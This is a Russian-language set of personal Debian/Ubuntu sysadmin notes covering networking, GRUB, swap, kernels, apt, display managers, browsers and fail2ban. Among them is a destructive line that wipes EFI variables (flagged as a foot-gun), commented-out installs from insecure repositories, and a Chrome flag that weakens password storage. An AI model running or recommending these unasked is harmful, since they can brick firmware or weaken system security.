https://www.servers.ru/knowledge/dedicated-servers/how-to-setup-l2tp-over-ipsec-for-idrac-on-linux-ubuntu-16-04
https://www.elastichosts.com/blog/linux-l2tpipsec-vpn-client/
https://eerie.su/2017/01/настройка-сервера-l2tp-на-vps/
https://launchpad.net/~raharper/+archive/ubuntu/bugfixes
https://www.linux.org.ru/forum/admin/10799069
https://gist.github.com/mietek/4877cd74423bf6925b92
https://github.com/hwdsl2/setup-ipsec-vpn/blob/master/docs/clients.md#linux


с pptp проще
https://wiki.debian.org/ru/pptp-linux
Как настроить VPN с помощью PPTP
https://thesafety.us/ru/vpn-setup-pptp-ubuntu16
https://www.securevpn.pro/rus/setup/linux-pptp-vpn
Доп параметры PPTP
использовать шифрование MPPE
128 bit


DNS
в ubuntu netplan

добавить dns-суффикс
nano /etc/resolv.conf
# DNS suffix
search nameserver.net
nameserver.net xxx.xxx.xxx.xxx
затем
/etc/init.d/networking restart

если стирает dhcpcd то
sudo apt install resolvconf
nano /etc/resolvconf/resolv.conf.d/tail

# DNS suffix
search mydomain
mydomain 185.8.5.19

и затем
resolvconf -u

очитска dns кэша

systemctl restart systemd-resolved.service

в chrome
chrome://net-internals/#dns

https://wiki.archlinux.org/index.php/Resolv.conf

добавление DNS серверов в файл /etc/resolv.conf

sudo apt install resolvconf
echo "nameserver 8.8.8.8" >> /etc/resolvconf/resolv.conf.d/head
/etc/init.d/networking restart
/etc/init.d/network-manager restart


Обработка URI форматов telnet://host для linux

оптимизация файлов SQLITE
sudo aptitude install sqlite3
nano optimizer_sql.sh



chmod +x optimizer_sql.sh


оптимизация gtk2
узнать версию gtk
dpkg -l libgtk2.0-0 libgtk-3-0

nano ~/.gtkrc-2.0
добавить:

gtk-menu-popup-delay = 0
gtk-menu-popdown-delay = 0
gtk-menu-bar-popup-delay = 0
gtk-timeout-expand = 0
gtk-timeout-initial = 0

годная тёмная тема
https://github.com/B00merang-Project/B00merang-Themes
https://github.com/Ferdi265/numix-solarized-gtk-theme
(эта только под gtk2)
https://www.opendesktop.org/p/1015989/
https://www.opendesktop.org/content/show.php/Emerge?content=157362

русификация gtk1

Gtk-WARNING **: Загружаемый модуль тем не найден в > module_path: "pixmap"
sudo apt-get install gtk2-engines-pixbuf

Кэширование символьных таблиц
mkdir ~/.compose-cache


часы в консоли


установить часовой пояс
sudo dpkg-reconfigure tzdata

$ watch -tn1 'date +%r'



изменить текст "совета дня" в виртуальной консоли
vi /etc/motd

Всякие мелкие полезности


развернуть
рецепты
Эта строка убьёт всех зомби
ps -xal | grep defunct | awk '{ system (" kill -9 " $4 ) }'

приостановить выполнение программы CTRL+s продолжить работу программы CTRL+q (это называется XON/XOFF)

Как закрыть терминал без убийства запущенной в нём команды
nohup команда &
или
команда & disown

ссылки
Команды Linux: расширенный cправочник команд Unix
Список полезных и бытовых команд в терминале Linux
Список UNIX/LINUX демонов/служб и их автозагрузка 1 часть
Список UNIX/LINUX демонов/служб и их автозагрузка 2 часть
Восстанавливаем загрузчик Ubuntu с помощью Boot Repair.
монтирование ntfs
Переводите любой выбранный текст с помощью комбинации клавиш и оповещений
Временный swap
Преобразование GPT раздела в MBR
Создание службы systemd на примерах
COM порт в Ubuntu
floppy подключается с правами на запись только для root
Как создавать диалоговые блоки в интерактивных shell скриптах
Краткая памятка по работе с архиваторами из консоли в Linux
Создание deb-пакетов для модулей Python с помощью stdeb
install_tftp_server.sh
почта в консоли mutt и msmtp
как изменить браузер в Thunderbird
как изменить приложения по умолчанию в debian
как скачать видео, которе передаётся как rtmp-поток
установка tor в debian
работа в консоли через прокси (wget и тд)
Копирование Audio CD
Редактируем iso в Ubuntu Linux из консоли
Как стереть перезаписываемый диск из командной строки
конвертирования музыкальной библиотеки
Конвертирование ID3-тэгов в mp3-файлах с кодировки windows-1251 (cp1251) в utf-8
Конвертирование видео G2M3/G2M4
работа с кодировкой файлов
Эквалайзер для MPD
mplayer в консоли
прочесть pdf в консоли
оптимизация pdf
Конвертируем документы в Ubuntu
steghide - тайные послания, внедрить текст в рисунок
видеоплеер Parole не показывает видео
Как убрать шум с аудиозаписи
ubuntu wi-fi сканер HP
как вылечить раскладку в ubuntu 14.04
Ubuntu Server 12.04 LTS и кодировка в консоли
Сброс или изменение пароля Windows с помошью Linux
Массовое переименование в консоли
Поиск файлов в Linux
как найти одинаковые файлы в linux
консоль python в роли командной строки

Ubuntu 20.04 + Openbox | Часть I - Установка с Netboot-образа (mini.iso) системы. Установка оконного менеджера Openbox. Настройка автологина
Ubuntu 20.04 + Openbox | Часть II - Настройка автозапуска программ, разрешения экрана, панели Tint2, установка флагов раскладки клавиатуры, установка обоев

разные проги, линуксовые софтинки




Debian и Ubuntu, напильник, рецепты, часть 2

ознакомиться
Руководство по установке Debian GNU/Linux
https://debian-handbook.info/browse/ru-RU/stable/

Дистрибутив


образы OS
https://www.debian.org/devel/debian-installer/
http://cdimage.debian.org/cdimage/unofficial/non-free/cd-including-firmware/
mini.iso netinstall amd64
debian mini netinstall i386
https://files.devuan.org/

http://cdimage.ubuntu.com/releases/
http://cdimage.ubuntu.com/netboot/
http://archive.ubuntu.com/ubuntu/dists/focal/main/installer-amd64/current/legacy-images/netboot/

https://snapshot.debian.org/

Установка
Руководство по установке Debian GNU/Linux
Установка ubuntu 20.04 с корнем на шифрованном ZFS зеркале и UEFI загрузкой
Загрузка и Запуск Программы Установки
https://wiki.debian.org/ru/Debootstrap
Установка Debian GNU/Linux из системы Unix/Linux
Подготовка файлов для загрузки с карты памяти USB
Как установить Debian Linux на USB-накопитель с зашифрованным корневым разделом (с использованием UUID, Initramfs-tools и Dm-Crypt)
Установка и настройка инструментов, позволяющих использовать Debian систему в качестве источника PXE загрузки ОС (Linux, Windows и прочее.)
PXEBootInstall Installing Debian using network booting
Загрузка по TFTP
как собрать настраиваемый initramfs
Установка Ubuntu Linux с винчестера. Скрипт
Ставим Ubuntu/Debian через debootstrap из другой Linux-системы
Загрузочный сервер — как загрузочная флешка, только сервер и по сети
PXE Boot за 15 минут
Мультизагрузочный PXE-реаниматор
Настройка сетевой загрузки (PXE) на CentOS7 для загрузки живой системы или загрузочного образа.
Загрузка iso образа настроенной под себя Ubuntu по сети.
PXE Boot. Бездисковые устройства. Загружаемся по сети.
https://wiki.archlinux.org/index.php/PXE_(Русский)
Установка Debian удалённо: PXE + SSH
Установка Debian 9 (Stretch) через PXE сервер сетевой загрузки
Минимальный Debian

http://help.ubuntu.ru/wiki/uefiboot
efibootmgr --help
проверка используем BIOS или UEFI.
test -d /sys/firmware/efi && echo UEFI || echo BIOS

efibootmgr # получили список всех возможных загрузчиков для efi
efibootmgr -B -b XXXX # удалили ненужную запись
efibootmgr -c -L "..." -l "..." # добавили новую
efibootmgr --bootorder XXXX,YYYY,ZZZZ # изменили порядок загрузки
efibootmgr -o 0003,0001,0004,0000
rm -rf /sys/firmware/efi/efivars/* # выстрелить себе в ногу и биться головой об стол

Инструкция по установке с EFI

Активация discard (TRIM) на Linux для SSD


протестировать следующий выпуск
http://cdimage.debian.org/cdimage/weekly-builds/
посмотреть ошибки в нём
https://www.debian.org/releases/stretch/

записать на флешку, софт для записи, ошибки при установке

отключить вывод логов в консоли
sudo dmesg -n 1

клава
https://wiki.debian.org/ru/Keyboard

dpkg-reconfigure keyboard-configuration
service keyboard-setup restart
apt install configure-debian

vi /etc/default/keyboard





grub2
восстановление Grub
загрузится с https://gparted.org/download.php
sudo fdisk -l
sudo mount /dev/sdb1 /mnt/
sudo mount --bind /dev /mnt/dev
sudo mount --bind /sys /mnt/sys
sudo mount --bind /proc /mnt/proc
chroot /mnt /bin/bash
source /etc/profile
sudo grub-install /dev/sd* # имя вашего жесткого диска
sudo grub2-mkconfig -o /boot/grub/grub.cfg
sudo grub-update

если lvm
lvscan
vgchange -ay



убрать заставку grub2
nano /etc/default/grub
GRUB_CMDLINE_LINUX_DEFAULT="quiet splash"
изменить на
GRUB_CMDLINE_LINUX_DEFAULT=""
update-grub

в grub отключить Plymouth с помощью следующих параметров ядра:
plymouth.enable=0 disablehooks=plymouth

добавить загрузку с iso в grub2
multiboot usb-drive. своими руками
Загрузка Live.ISO из Grub2
Boot iso images from hdd (Grub2)
Multiboot USB Stick GRUB Stanzas
https://sysadministrivia.com/news/howto-grubrescue
https://wiki.archlinux.org/title/Multiboot_USB_drive

сделать симлинк папки iso в /boot/iso
sudo apt install grub-imageboot
sudo nano /etc/grub.d/40_custom



sudo update-grub

если выдало:
"Warning: os-prober will not be executed to detect other bootable partitions.
Systems on them will not be added to the GRUB boot configuration.
Check GRUB_DISABLE_OS_PROBER documentation entry."

то раскомментировать GRUB_DISABLE_OS_PROBER=false
и сделать sudo update-grub

для загрузки windows и тд надо скачать https://mirrors.edge.kernel.org/pub/linux/utils/boot/syslinux/syslinux-5.10.zip в каталоге memdisk, находится файл memdisk, нужно скопировать файл в каталог iso/syslinux/


https://wiki.debian.org/DualBoot/Windows10
Ошибка grub не видит Windows 10
Как добавить загрузку Windows в grub?

добавить раздел с Windows в grub


если не были добавлены разделы ntfs при установке, то
sudo blkid
ls -l /dev/disk/by-uuid/
/etc/fstab



/etc/grub.d/40_custom






долгий старт при логине в TTY и по SSH
зайти в /etc/update-motd.d и убрать права на запуск у скриптов, которые там находятся (у всех или частично)
chmod -x /etc/update-motd.d/*

Ускорение выключения зависшего процесса(по умолчанию стоит 90 секунд)
sudo vi /etc/systemd/system.conf
DefaultTimeoutStartSec=5s
DefaultTimeoutStopSec=10s


Блокировка экрана lightdm
sudo apt purge light-locker

«.profile» не загружается при входе в систему с помощью lightdm
https://github.com/canonical/lightdm/issues/96



отредактировать /etc/lightdm/lightdm.conf, раскомментировать session-wrapper=lightdm-session
перезагрузиться

автологин в lightdm

nano /usr/share/lightdm/lightdm.conf.d/60-lightdm-gtk-greeter.conf
[Seat:*]
greeter-session=lightdm-gtk-greeter
autologin-user=пользователь

сейчас (файла нет, не рекомендуется использовать в XUbuntu 18.04 и во всех последних дистрибутивах.)
# nano /etc/lightdm/lightdm.conf
[SeatDefaults]
autologin-user=пользователь
autologin-user-timeout=0
user-session=имя_сессии

ls /usr/share/xsessions/
user-session=имя_сессии

service lightdm stop
service lightdm start

nano /etc/X11/default-display-manager
/usr/sbin/lightdm

dpkg-reconfigure lightdm
dpkg-reconfigure wdm #(есди надо поменять)

для владельцев нетбуков и клавиатур без NumLock
nano /usr/share/lightdm/lightdm.conf.d/50-xubuntu-numlock.conf
И измените строку
greeter-setup-script=xubuntu-numlockx
на
greeter-setup-script=/usr/bin/numlockx off

loginctl list-sessions
loginctl unlock-session [id]

killall light-locker
apt-get install light-locker-settings python-gi

rm ~/.config/autostart/light-locker.desktop

(не обязательно)
sudo apt-get update && sudo apt-get install --no-install-recommends xscreensaver xscreensaver-screensaver-bsod && sudo apt-get purge light-locker

sudo service lightdm restart


автологин в sddm
надо создать конфиг по пути /usr/lib/sddm/sddm.conf.d/autologin с содержанием:
[Autologin]
User=user
Session=openbox


работа с сетевыми интерфейсами

настройка сети для убунтовых
https://netplan.io/examples

netplan --debug apply
systemctl restart systemd-networkd
networkctl status -a

для виртуалок
https://ubuntuforums.org/showthread.php?t=2386080
lsmod | grep vhost если нет то
modprobe vhost_net
если не сохраняется при перезагрузке то
echo vhost_net >> /etc/modules


установка XRDP x11vns и сервера ssh на Debian и Ubuntu

Файл подкачки
# fallocate --length 2GiB /swapfile
# chmod 600 /swapfile
# mkswap /swapfile
# swapon /swapfile
# swapon -s
# echo "/swapfile none swap sw 0 0" >> /etc/fstab

Удаление файла подкачки
# swapoff -a
# rm -f /swapfile

на файловых системах с btrfs
на файловых системах с btrfs
https://wiki.archlinux.org/title/Btrfs_(Русский)
Установка Rosa в btrfs с подтомами на этапе установки
https://github.com/sebastian-philipp/btrfs-swapon

https://btrfs.readthedocs.io/en/latest/Swapfile.html
# btrfs filesystem mkswapfile --size 2G swapfile
# swapon swapfile
Файл подкачки на btrfs Д.С. Кулябов
загружаюсь с livesd и создаю swap на отдельном подтоме btrfs

mkdir /mnt/debian
mount -tbtrfs /dev/nvme0n1p2 /mnt/debian/
btrfs subvol create @swap
umount /mnt/debian
mkdir /swap
mount -o subvol=@swap /dev/nvme0n1p2 /swap
chattr +C /swap
truncate -s 0 /swap/swapfile
btrfs property set /swap/swapfile compression ""
chmod 600 /swap/swapfile
fallocate -l 24G /swap/swapfile
mkswap /swap/swapfile
swapon /swap/swapfile
cat /proc/swaps
swapoff /swap/swapfile
umount /swap

загружаюсь в систему
редактирую /etc/fstab

https://wiki.debian.org/Hibernation/Hibernate_Without_Swap_Partition
получаю UUID
findmnt / -o UUID -n
получаю смещение resume_offset
btrfs inspect-internal map-swapfile -r /swap/swapfile




можно и проще



проверяю
findmnt --verify --verbose
В выводе не должно быть ошибок, кроме предупреждения, что файл используется напрямую без привязки (bind):



перезагружаюсь, проверяю
cat /proc/swaps
swapon --show
lsblk -f

добавляю в /etc/default/grub




изменяю /etc/initramfs-tools/conf.d/resume



update-grub
update-initramfs -k all -u

перезагружаюсь и проверяю
systemctl hibernate

но лучше выбрать другую файловую систему
или использовать swapspace

apt-get install swapspace
nano /etc/swapspace.conf
раскомментировать параметры
service s swapspace restart

использовать OOM Killer чтобы система не висла
$ sudo apt install earlyoom
$ sudo nano /etc/default/earlyoom


работа с LVM томами
Делаем машину времени с Btrfs
Перенос снапшотов(snapshots) btrfs на другой раздел в отдельном файле

выпилить systemd
http://without-systemd.org/wiki/index.php/Debian_Stretch
https://wiki.debian.org/Init#Changing_the_init_system_-_at_installation_time
https://devuan.org/

apt clean
apt --download-only install sysvinit-core libpam-elogind
systemctl rescue
apt install /var/cache/apt/archives/*.deb
reboot

работа с systemd

работа с пакетами debian
https://wiki.debian.org/ru/AptPreferences
Создание deb-пакетов. Первые шаги в PPA
Aptly – свой репозиторий с контролем версий
Памятка по управлению пакетами в Debian и Ubuntu

установка дров
ubuntu-drivers devices
ubuntu-drivers autoinstall

запрет обновление пакета
apt-mark hold pppoe - блокируем обновление пакета pppoe
apt-mark unhold pppoe - снимаем блокировку обновления пакета pppoe
apt-mark showhold - показать все пакеты с меткой hold


откат обновления
http://vasilisc.com/problem-apt-get

Для пользователей систем с yum можно откатиться так:
yum history
yum history undo {ЧИСЛО}

в Debian и Ubuntu
grep -A 2 'Start-Date: 2016-01-21 09:42:42' /var/log/apt/history.log | tail -1 >/tmp/packages.txt

Удалим слово
sed -i 's/Install://' /tmp/packages.txt

Нам нужно только имя пакета.
tr ',' '\n' < /tmp/packages.txt | sed '/automatic)/d' | awk '{ print $1}' > /tmp/final.packages.txt

Теперь можно попробовать удалить поставленное. Подумать сто раз над выводом и убрать -s (симуляция) оставляю на вашей совести.
sudo apt-get -s purge `cat /tmp/final.packages.txt | xargs`


назначить приложение по умолчанию
sudo apt-get install galternatives
sudo galternatives

ls -al /etc/alternatives/
sudo update-alternatives --config x-www-browser

это лучше работает
sudo update-alternatives --set gnome-www-browser /usr/bin/chromium
sudo update-alternatives --set x-www-browser /usr/bin/chromium


если не помогает (вместо хрома запускается фирефокс), хотя выставлено Debian Sensible Browser /usr/bin/sensible-browser то в файле x-www-browser заменить firefox-esr на sensible-browser или x-www-browser
либо cp /etc/mailcap ~/.mailcap и заменить там

sudo apt install command-not-found
sudo update-command-not-found

заодно
sudo apt install configure-debian


Обновление
https://www.debian.org/releases/testing/i386/release-notes/ch-upgrading.ru.html
Перед обновлением системы до stretch, рекомендуется удалить из системы старые файлы настроек (такие как *.dpkg-{new,old} в /etc.




Следующие команды отображают список всех удалённых пакетов, чьи файлы настройки всё ещё остаются в системе (если таковые имеются):

sudo dpkg -l | awk '/^rc/ { print $2 }'


Эти пакеты могут быть удалены с помощью команды apt-get purge.

sudo apt-get purge $(dpkg -l | awk '/^rc/ { print $2 }')


Для истинных джедаев Убунту
git clone https://github.com/wimpysworld/rolling-rhino.git
cd rolling-rhino
less ./rolling-rhino

скрипт обновления системы
nano ~/bin/upd.sh


В моей системе используется файловая система btrfs и поэтому страхуюсь снимками, которые автоматически создаются при работе утилит apt, dpkg и т.д. Удаляю снимки старше 3 дней. Эти строки не актуальны для ext4

sudo apt-btrfs-snapshot delete-older-than 3d
sudo apt-btrfs-snapshot list


снятие блокировки apt-get
sudo fuser /var/cache/debconf/config.dat
kill -9 №такой_то
sudo dpkg --configure -a
sudo apt-get -f install

sudo killall apt apt-get
sudo rm /var/lib/dpkg/lock*
sudo rm /var/cache/apt/archives/lock
sudo dpkg --configure -a
sudo apt clean

https://askubuntu.com/questions/1109982/e-could-not-get-lock-var-lib-dpkg-lock-frontend-open-11-resource-temporari
Could not get lock /var/lib/dpkg/lock-frontend - open (11: Resource temporarily unavailable)
sudo killall apt apt-get
sudo rm /var/lib/apt/lists/lock
sudo rm /var/cache/apt/archives/lock
sudo rm /var/lib/dpkg/lock*
sudo dpkg --configure -a
sudo apt update


Репозитории
Мировые серверы-зеркала Debian
https://www.debian.org/mirror/list.ru.html

Debian Sources List Generator

список реп
https://www.debian.org/mirror/list
https://ftp.cica.es/Guadalinex/mirror/debian/README.mirrors.txt

найти самые быстрые репы
netselect-apt testing -n -c ru

/etc/apt/sources.list

# deb http://deb.debian.org/debian/ bookworm main contrib non-free non-free-firmware
# deb-src http://deb.debian.org/debian/ bookworm main contrib non-free non-free-firmware

# deb http://security.debian.org/debian-security bookworm-security main contrib non-free non-free-firmware
# deb-src http://security.debian.org/debian-security bookworm-security main contrib non-free non-free-firmware

# deb http://deb.debian.org/debian bookworm-updates main contrib non-free non-free-firmware
# deb-src http://deb.debian.org/debian bookworm-updates main contrib non-free non-free-firmware

# deb http://ftp.dk.debian.org/debian/ bookworm main contrib non-free non-free-firmware
# deb-src http://ftp.dk.debian.org/debian/ bookworm main contrib non-free non-free-firmware

# deb http://ftp.dk.debian.org/debian-security bookworm-security main contrib non-free non-free-firmware
# deb-src http://ftp.dk.debian.org/debian-security bookworm-security main contrib non-free non-free-firmware

# Debian packages for bookworm
deb http://ftp.fi.debian.org/debian/ bookworm main contrib non-free non-free-firmware
deb-src http://ftp.fi.debian.org/debian/ bookworm main contrib non-free non-free-firmware

# Security updates for stable
deb http://security.debian.org/debian-security bookworm-security main contrib non-free non-free-firmware
deb-src http://security.debian.org/debian-security bookworm-security main contrib non-free non-free-firmware

#################################################################################

## deb-multimedia
# apt-get update -oAcquire::AllowInsecureRepositories=true
# apt-get install deb-multimedia-keyring -oAcquire::AllowInsecureRepositories=true
# deb https://www.deb-multimedia.org bookworm main non-free

## WI-FI
# deb http://httpredir.debian.org/debian/ bookworm main contrib non-free non-free-firmware


ошибки
Невозможно инициализировать соединение с debian.map.fastlydns.net:80 (2a04:4e42:14::644). - connect (101: Сеть недоступна) Не удалось соединиться с debian.map.fastlydns.net:80 (151.101.86.132): время ожидания для соединения истекло

https://www.reddit.com/r/linux4noobs/comments/13y8wk7/facing_issue_0_connecting_to/
0% [Соединение с debian.map.fastlydns.net (2a04:4e42:14::644)] [Соединение с debian.map.fastlydns.net (2a04:4e42:14::644)] [Ожидание заголовков]
это происходит из-за ограничения fup моего провайдера

https://www.linux.org.ru/forum/general/16900016
Репозиторий «http://ftp.ru.debian.org/debian-security bookworm Release» не содержит файла Release.
в местной сетке оборудование в режиме MiM, подменяет траффик
Пропиши https://ftp.debian.org/debian в своём репозитории (https вместо http)


https://wiki.debian.org/ru/UnofficialRepositories
https://wiki.debian.org/ru/Backports
http://linuxoid.in/Полезные_репозитории_для_Debian
https://sites.google.com/site/mydebiansourceslist/
https://sparkylinux.org/wiki/doku.php/repository
https://docs.kali.org/general-use/kali-linux-sources-list-repositories
https://debgen.simplylinux.ch/
Репозитории для Debian
Полезные репозитории для Debian
apt-get и виндовые прокси ( NTLM-proxy, MS Proxy Server ISA ...)
локальный репозиторий debian или ubuntu
добавление ppa репозитория в debian
как добавить ключ репозитория в debian или ubuntu
Добавление ключей репозитория, когда другие способы не помогли
Зеркалирование репозитория Debian - это просто!

Aptly – свой репозиторий с контролем версий
Резервное копирование Ubuntu


добавить недостающие ключи (ppa)




http://snapshot.debian.org/

добавить репозитарий
add-apt-repository ppa:mozillateam/ppa

удалить репозитарий
sudo ppa-purge ppa:mozillateam/ppa

аналог AUR для убунтовых
https://pacstall.dev/
https://github.com/pacstall/pacstall
https://pacstall.dev/packages?page=0&size=25&sortBy=default&sort=asc&filter=&filterBy=name
https://github.com/pacstall/pacstall-programs/tree/master

Ядро


https://www.kernel.org/
https://mirrors.edge.kernel.org/pub/linux/kernel/
https://www.kernelconfig.io/index.html

http://compizomania.blogspot.com/2016/07/linux-kernel-47-ubuntu.html
https://codebeer.ru/obnovlenie-yadra-debian/
https://kernel.ubuntu.com/mainline/
http://kernel.ubuntu.com/~kernel-ppa/mainline/
https://backports.debian.org/Instructions/

   apt-get -t jessie-backports install "package"                    
   apt-get install linux-image-686-pae -t jessie-backports   

или



или



linux-xanmod-x64v2 вам следует изменить номер версии после v на номер вашего процессора см. тут https://en.wikipedia.org/wiki/List_of_Intel_CPU_microarchitectures

https://help.ubuntu.ru/wiki/сборка_ядра (устарело)
fakeroot make-kpkg -j `nproc` --initrd --append-to-version=-custom kernel_image kernel_header

https://kernel-team.pages.debian.net/kernel-handbook/ch-common-tasks.html

Как скомпилировать и установить последнюю версию ядра Linux на Debian 11

apt install build-essential dwarves python3 libncurses-dev libssl-dev libelf-dev flex bison bc autoconf bison bc flex gettext make bc

sudo make ARCH=x86 menuconfig
sudo make clean
sudo make bzImage
sudo make modules
sudo make modules_install
sudo find /lib/modules/5.16.5/ -name *.ko -exec strip --strip-unneeded {} +
sudo make install
update-initramfs -uk all
sudo update-grub

Нет правила для сборки цели «debian/canonical-certs.pem», требуемой для «certs/x509_certificate_list». Останов
scripts/config --disable SYSTEM_TRUSTED_KEYS
scripts/config --disable SYSTEM_REVOCATION_KEYS

Удаление старых ядер ( linux-kernel ) одной командой

apt autoremove

старое


apt-get install byobu
purge-old-kernels --keep 3


Как отключить cloud-init в Ubuntu
https://cloudinit.readthedocs.io/en/latest/topics/boot.html
Предотвратить запуск:
Создайте пустой файл, чтобы запретить запуск службы
sudo touch /etc/cloud/cloud-init.disabled

Удалить:
отключить все службы (снимите все, кроме «Нет»):
dpkg-reconfigure cloud-init

удалить пакет и папки
sudo dpkg-reconfigure cloud-init
sudo apt-get purge cloud-init
sudo rm -rf /etc/cloud/ && sudo rm -rf /var/lib/cloud/

перезагрузить
sudo reboot


Свежий soft


свежая java



если не находит окружение





java а браузере
https://ftp.mozilla.org/pub/firefox/releases/
https://ftp.mozilla.org/pub/firefox/releases/51.0.1/linux-x86_64/ru/
sudo ppa-purge ppa:mozillateam/ppa

https://help.ubuntu.ru/wiki/java
https://java.com/en/download/installed.jsp

http://www.webupd8.org/2012/09/install-oracle-java-8-in-ubuntu-via-ppa.html
sudo add-apt-repository ppa:webupd8team/java
sudo apt-get update
sudo apt-get install oracle-java8-installer
sudo apt-get install oracle-java8-set-default

find /usr/lib/ -name java.security
locate java.security
nano /usr/lib/jvm/java-8-openjdk-amd64/jre/lib/security/java.security

https://www.java.com/ru/download/help/enable_browser_ubuntu.xml
/etc/alternatives/mozilla-javaplugin.so
ln -s /usr/lib/jvm/java-8-oracle/jre/lib/amd64/libnpjp2.so /usr/lib/mozilla/plugins/libjavaplugin.so
или
ln -s /usr/local/lib/IcedTeaPlugin.so ~/.mozilla/plugins

https://www.reg.ru/support/hosting-i-servery/dedicated/reshenie-problem-pri-rabote-s-dedicated/ne-rabotayet-kvm-ipmi
https://support.nine.ch/articles/remote-console-ip-kvm

jcontrol
javaws https://docs.oracle.com/javase/tutorialJWS/samples/deployment/NotepadJWSProject/Notepad.jnlp

https://linux-faq.ru/page/ustanovka-virtualnoy-mashiny-java-s-plaginom-dlya-veb-brauzera
https://www.java.com/ru/download/faq/java_webstart.xml
https://icedtea.classpath.org/wiki/IcedTea-Web


свежий php

свежий pip pyenv (и версии python)

свежая Node


Браузер
запуск хрома в другой сессии из snap (сходный механизм и у других приложений)
nano $HOME/bin/chromium.sh



chmod +x $HOME/bin/chromium.sh

Убрать пароль для разблокировки связки ключей Ubuntu при запуске Chrome
sudo nano /usr/share/applications/google-chrome.desktop
Найдите строку начинающуюся на Exec= и добавьте к ней значение --password-store=basic
Находим в тексте строку:
Exec=/opt/google/chrome/google-chrome %U
И меняем её на:
Exec=/opt/google/chrome/google-chrome --password-store=basic %U

либо удалить gnome-keyring

Chromium «Показать в папке», выделение файла
если хром из снапа не открывает сохранённый файл, то
apt install xdg-desktop-portal-gtk

добавить "Google" как поисковую систему в Chromium
1. В Chromium кликнуть на три вертикальные точки вверху справа. Откроются "Настройки".
2. В списке слева выбрать "Поисковая система", откроются две строки.
3. Кликнуть по нижней строке "Управление поисковыми системами и поиском по сайту".
4. В абзаце "Поисковые системы" кликнуть по "карандашу".
5. Под "Поисковая система" написать google.ru или google.com, то есть то, что требуется, и потом кликнуть на "Сохранить".
Если этого нет, то нажать "добавить" и в поле "URL с параметром %s вместо запроса" ввести
https://www.google.com/search?q=%s
6. Закрыть Настройки.

chrome portable
список плагинов для chrome
chrome ppa
FirefoxPortable

браузер полегче
https://github.com/minbrowser/min/releases
http://get.geo.opera.com/pub/opera/sdlbream/
https://www.opera.com/ru/developer/mobile-emulator

flash player chromium 32 bits
установка flashplugin для chromium 32 bits в Debian 8 Jessie

открывать папки в браузере:
Настройка xdg-open под свой файловый менеджер
Chromium «Показать в папке», выделение файла


телега
после установки https://telegram.org/dl/desktop/linux и запуска, в директории ~/.local/share/applications
появится org.telegram.desktop._какой_то_хеш.desktop с правами 755
содержание:




в ~/.local/share/applications/mimeinfo.cache появится запись




vi $HOME/.config/mimeapps.list




проверить открытие ссылок:
xdg-open tg://resolve?domain=какой_то_адрес
открыть в браузере ссылку https://t.me/какой_то_адрес


свежая либра




zip архивы без кракозябр
nano /etc/apt/sources.list

Краткая памятка по работе с архиваторами из консоли в Linux


## Zip/unzip internationalization
deb http://ppa.launchpad.net/frol/zip-i18n/ubuntu trusty main
deb-src http://ppa.launchpad.net/frol/zip-i18n/ubuntu trusty main

## file-roller path (unzip)
deb http://ppa.launchpad.net/hanipouspilot/file-roller/ubuntu trusty main
deb-src http://ppa.launchpad.net/hanipouspilot/file-roller/ubuntu trusty main




поставить file-roller без хлама:

   apt-get install --no-install-recommends file-roller   


подходящий WM
fvwm-crystal как описано тут
https://uzverss.livejournal.com/63477.html
результат вот, забирайте
gtk3 мышка колёсико WM
как добавить выключение и перезагрузку в меню fluxbox
автомонтирование в pcmanfm


подходящее DE
https://wiki.debian.org/ru/Xfce
https://wiki.xfce.org/ru/howto/install_new_themes
https://aur.archlinux.org/packages/gtk-theme-numix-solarized/
как обновить xfce с 4.10 до 4.12 версии?
Управление электропитанием в Linux (Xfce)

разница между DE и WM, а также работа в голых иксах
установка сервера терминалов XRDP на Debian 9.
Пользовательские настройки Bash

менюшка:
sudo apt-get install xfce4-whiskermenu-plugin

поскольку редактор меню в xfce4 отсутствует (а вроде должно быть..)
https://wiki.xfce.org/ru/howto/customize-menu
то
sudo apt-get install menulibre


Безопасность
изменение времени файлов, удаление истории посещения и команд в linux
Поиск и удаление вредоносных программ из Linux
Как узнать, какие USB устройства подключались к Linux
21 пример использования iptables для администраторов.
Фаервол UFW. Базовая настройка.
Использование утилиты UFW на Linux
firewall-cmd настройка брадмаузера
Как удалить пользователя в Linux (и удалить все его «хвосты»)

Запуск su только пользователями из группы wheel
доступ к sudo без ввода пароля.

sudo addgroup wheel
sudo usermod -a -G wheel пользователь
gpasswd -a пользователь wheel

проверить права
id пользователь

Сменить имя и группу пользователя

Изменить только имя пользователя:
usermod --login new_username old_username

Чтобы изменить имя пользователя и имя домашнего каталога:
usermod --login new_username --move-home --home /home/dir_old_username old_username

Вы также можете изменить имя группы, связанной с пользователем:
groupmod --new-name new_username old_username

Как в Linux сменить пароль пользователя, с зашифрованной (ecryptfs) домашней папкой.
Задаем новый пароль пользователя:
passwd user1

Монтируем зашифрованный каталог:
ecryptfs-mount-private

Задаем контрольную фразу, аналогичную заданному паролю пользователя:
ecryptfs-rewrap-passphrase .ecryptfs/wrapped-passphrase


nano /etc/pam.d/su
раскоментировать строчку
# auth required pam_wheel.so
либо
# auth required pam_wheel.so use_uid

список всех групп
getent group

узнать членов группы developers
getent group developers

(настройка прав)
chmod ug=rw,o=r -R папка
chmod +x файл

Шифрование разделов
Шифрование файлов

gpg -c файл файл
gpg --decrypt-files файл.gpg

Создание "неудаляемой" папки или файла в Linux
Удаление большого количества файлов в директории

Заблокировать выбранную сессию, указав её номер:
loginctl list-sessions
sudo loginctl lock-session 3

Разблокировать выбранную сессию, указав её номер:
loginctl list-sessions
sudo loginctl unlock-session [id]

блокировка экрана
cat /etc/default/acpi-support
ctrl+alt+L
/usr/bin/xflock4
light-locker-command --lock

fail2ban
https://wiki.archlinux.org/title/Fail2ban_(Русский)
fail2ban vpn pptp openvpn centos7

/etc/fail2ban/jail.local




если в /etc/ssh/sshd_config был изменён Port по умолчанию, для подключения по ssh
то в /etc/fail2ban/jail.local нужно также изменит порт, иначе не будет блокировать
[sshd]
port = номер_порта

systemctl restart fail2ban
systemctl status fail2ban

статус тюрьмы
fail2ban-client status
fail2ban-client status sshd

разблокировать IP
sudo fail2ban-client set sshd unbanip IP_адрес

запретить IP
sudo fail2ban-client set sshd banip IP_адрес


быстро включаем и выключаем ответ на пинги нашей машинкой с Debian
https://debian.pro/408
Делаем так, чтобы наша машинка не отвечала на пинги (по ipv4):
root@host:~# echo 1 > /proc/sys/net/ipv4/icmp_echo_ignore_all
Возвращаем всё на место:
root@host:~# echo 0 > /proc/sys/net/ipv4/icmp_echo_ignore_all

